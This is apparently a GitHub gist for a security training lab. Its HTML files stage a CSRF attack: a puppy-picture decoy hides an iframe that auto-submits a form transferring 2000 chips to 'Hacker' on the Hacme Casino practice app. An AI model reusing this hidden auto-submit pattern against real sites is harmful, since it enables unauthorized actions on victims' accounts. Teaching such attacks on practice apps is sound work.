Created
October 14, 2016 19:10
-
-
Save TylerRockwell/e569a41245d9ad9e4dd1698d4d95f957 to your computer and use it in GitHub Desktop.
Example CSRF Attack
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<iframe src="fake_form.html" style="visibility:hidden; display:none"></iframe> | |
<iframe src='puppy.html' width="100%" height="100%" frameborder="0" scrolling="no" style="overflow:hidden"></iframe> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<form name="transfer_form" method="post" | |
action="http://dojo:3000/account/transfer_chips"> | |
<input type="text" name="transfer" value="2000" /> | |
<input type="text" name="login[]" value="Hacker" /> | |
</form> | |
<script type="text/javascript"> | |
document.transfer_form.submit(); | |
</script> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<img src='https://upload.wikimedia.org/wikipedia/commons/7/71/St._Bernard_puppy.jpg'> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This is a demo attack, used in conjunction with a phishing email (or similar attack vector) to perform a CSRF attack to steal chips on Hacme Casino (a practice app most easily installed as part of the Web Security Dojo VM